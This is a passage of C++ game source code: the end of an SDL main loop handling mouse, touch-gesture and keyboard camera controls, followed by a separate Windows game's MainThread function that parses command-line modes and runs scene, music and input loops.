SDL_BUTTON(SDL_BUTTON_RIGHT)); GameCameraPan(game, GAME_PAN_END, float(x), float(y)); } else if (zooming && (state & SDL_BUTTON(SDL_BUTTON_RIGHT))) { float deltaZoom = 0.01f * (float)zoomY; GameZoom(game, GAME_ZOOM_DISTANCE, deltaZoom); GameCameraRotate(game, (float)(zoomX)*0.5f); } else if (state ==0) { GameTap(game, GAME_MOVE_WHILE_UP, x, y, mod); } } break; case SDL_MOUSEWHEEL: { if (event.wheel.y) { float deltaZoom = -0.1f * float(event.wheel.y); GameZoom(game, GAME_ZOOM_DISTANCE, deltaZoom); } } break; case SDL_FINGERUP: { const SDL_TouchFingerEvent* tfe = &event.tfinger; nFingers = SDL_GetNumTouchFingers(tfe->touchId); if (nFingers < 2 && !multiTouchStart.IsZero()) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("2 finger END.\n")); #endif multiTouchStart.Zero(); } } break; case SDL_FINGERDOWN: { const SDL_TouchFingerEvent* tfe = &event.tfinger; nFingers = SDL_GetNumTouchFingers(tfe->touchId); if (nFingers > 1) { if (!mouseDown.IsZero()) { // Wrap up the existing action. #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Switch to gesture.\n")); #endif mouseDown.Zero(); } } } break; case SDL_MULTIGESTURE: { const SDL_MultiGestureEvent* mge = &event.mgesture; nFingers = SDL_GetNumTouchFingers(mge->touchId); if (nFingers > 1 && multiTouchStart.IsZero()) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("2 finger START.\n")); #endif multiTouchStart.Set(mge->x, mge->y); } else if (!multiTouchStart.IsZero()) { // The Pan interacts badly with zoom and rotated. So instead of a continuous, // multi-event action do a bunch of "mini pans". GameCameraPan(game, GAME_PAN_START, multiTouchStart.x * float(screenWidth), multiTouchStart.y*float(screenHeight)); multiTouchStart.Set(mge->x, mge->y); GameCameraPan(game, GAME_PAN_MOVE, multiTouchStart.x * float(screenWidth), multiTouchStart.y*float(screenHeight)); GameCameraPan(game, GAME_PAN_END, multiTouchStart.x * float(screenWidth), multiTouchStart.y*float(screenHeight)); } if (nFingers == 2) { GameZoom(game, GAME_ZOOM_DISTANCE, -mge->dDist * 10.f); GameCameraRotate(game, -mge->dTheta * 100.0f); //GLOUTPUT(("MultiGestureEvent dTheta=%.4f dDist=%.4f x=%.4f y=%.4f nFing=%d\n", mge->dTheta, mge->dDist, mge->x, mge->y, mge->numFingers)); } } break; case SDL_DOLLARGESTURE: { GLOUTPUT(("DollarGestureEvent\n")); } break; case SDL_QUIT: { done = true; } break; default: break; } } U32 delta = SDL_GetTicks() - tickTimer; if (delta < TIME_BETWEEN_FRAMES) { SDL_Delay(1); continue; } tickTimer = SDL_GetTicks(); glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LEQUAL); const U8* keys = SDL_GetKeyboardState(0); U32 tickDelta = thisTick - lastTick; if (tickDelta > 100) tickDelta = 100; float keyMoveSpeed = KEY_MOVE_SPEED * float(tickDelta) / float(TIME_BETWEEN_FRAMES); float keyZoomSpeed = KEY_ZOOM_SPEED * float(tickDelta) / float(TIME_BETWEEN_FRAMES); float keyRotatepeed = KEY_ROTATE_SPEED * float(tickDelta) / float(TIME_BETWEEN_FRAMES); if (keys[SDL_SCANCODE_DOWN] || keys[SDL_SCANCODE_S]) { if (modKeys & KMOD_CTRL) GameZoom(game, GAME_ZOOM_DISTANCE, keyZoomSpeed); else GameCameraMove(game, 0, -keyMoveSpeed); } if (keys[SDL_SCANCODE_UP] || keys[SDL_SCANCODE_W]) { if (modKeys & KMOD_CTRL) GameZoom(game, GAME_ZOOM_DISTANCE, -keyZoomSpeed); else GameCameraMove(game, 0, keyMoveSpeed); } if (keys[SDL_SCANCODE_LEFT] || keys[SDL_SCANCODE_A]) { if (modKeys & KMOD_CTRL) GameCameraRotate(game, keyRotatepeed); else GameCameraMove(game, -keyMoveSpeed, 0); } if (keys[SDL_SCANCODE_RIGHT] || keys[SDL_SCANCODE_D]) { if (modKeys & KMOD_CTRL) GameCameraRotate(game, -keyRotatepeed); else GameCameraMove(game, keyMoveSpeed, 0); } if (game) { lastTick = thisTick; thisTick = SDL_GetTicks(); PROFILE_BLOCK(GameDoTick); GameDoTick(game, thisTick); } { PROFILE_BLOCK(Swap); SDL_GL_SwapWindow(screen); } } GameSave(game); DeleteGame(game); for (int i = 0; i < nModDB; ++i) { delete databases[i]; } SDL_Quit(); #if SEND_CRASH_LOGS // Empty the file - quit went just fine. { FILE* fp = FOpen( "UFO_Running.txt", "w" ); if ( fp ) fclose( fp ); } #endif MemLeakCheck(); return 0; }
void CApp::MainThread(){ // シーンコントローラーにSceneFactoryを渡してやる CSceneControl sc(smart_ptr<CSceneFactory>(new Cf3SceneFactory(this),true)); int scene = FIRST_SCENE; // テストじゃないかな? { CLineParser l; l.SetLine(CAppInitializer::GetCmdLine()); if (l.IsMatch("TEST")) { scene = GAME_SCENE; CGameScene::m_bTest = true; l.GetStr(m_StageFileName); m_StageFileName += ".f3s"; l.GetNum(CGameScene::m_nStage); CGameScene::m_bVisibleHit = l.IsMatch("VISIBLEHIT"); }ef(l.IsMatch("REPLAY")) { scene = REPLAY_SCENE; l.GetStr(m_StageFileName); m_StageFileName += ".f3r"; }ef(l.IsMatch("RECORD")) { CReplayScene::record = true; m_Setting.m_FullScreen = false; scene = REPLAY_SCENE; l.GetStr(m_StageFileName); m_StageFileName += ".f3r"; } } sc.JumpScene(scene); // 準備完了まで著作権表示 m_Backup.CreateSurface(320, 240); SetFullScreen(m_Setting.m_FullScreen!=0); { CTextDIB32 tx; int w,h; tx.GetFont()->SetText("TokioSoft"); tx.GetFont()->SetSize(32); tx.GetFont()->SetColor(0xffffff); tx.GetFont()->SetBackColor(0x303030); tx.UpdateText(); tx.GetSize(w,h); GetDIB()->Blt(&tx,160-w/2,120-h/2); m_Draw.OnDraw(NULL,false); } // で、準備 CFPSTimer& t = *(m_FPS = new CFPSTimer); CFPSLayer l(&t); t.SetFPS((m_Setting.m_TimeMaster&&m_Setting.m_FPS)?m_Setting.m_FPS:40); m_BGM = new CBGMBase; m_BGMMode = BGMM_NONE; ChangeBGM((BGMMode)m_Setting.m_BGMMode); f3Input.Init(m_Setting.m_Key); Cf3Map::SetEffect(m_Setting.m_DrawMethod); Cf3MapObjectMain::SetInput(&KeyInput); ResourceManager.Init(); while (IsThreadValid()) { if (m_Setting.m_Background||GetForegroundWindow()==GetMyApp()->GetHWnd()) { if (m_Setting.m_Background>=2||GetForegroundWindow()==GetMyApp()->GetHWnd()) f3Input.Input(); if (f3Input.GetKeyPushed(F3KEY_EXIT)) break; // BGMの操作 if (m_AutoDraw) { if (f3Input.GetKeyPushed(F3KEY_BGMNONE)) ChangeBGM(BGMM_NONE); if (f3Input.GetKeyPushed(F3KEY_BGMDEF )) ChangeBGM(BGMM_DEFAULT); if (f3Input.GetKeyPushed(F3KEY_BGMUSER)) ChangeBGM(BGMM_USER); } m_BGM->Update(); // CPlaneBaseじゃなくてCDIB32を使って呼び出す(これでCDIB32の全ての機能が使える) if (sc.OnDraw(GetDIB())) break; if (m_AutoDraw) { l.Enable(f3Input.GetKeyPressed(F3KEY_FPS)); m_Draw.OnDraw(); if (f3Input.GetKeyPushed(F3KEY_CAPTURE)) ScreenCapture(); if (m_AVI) m_AVI->Write(GetDIB()); } } t.WaitFrame(); } ResourceManager.Quit(); }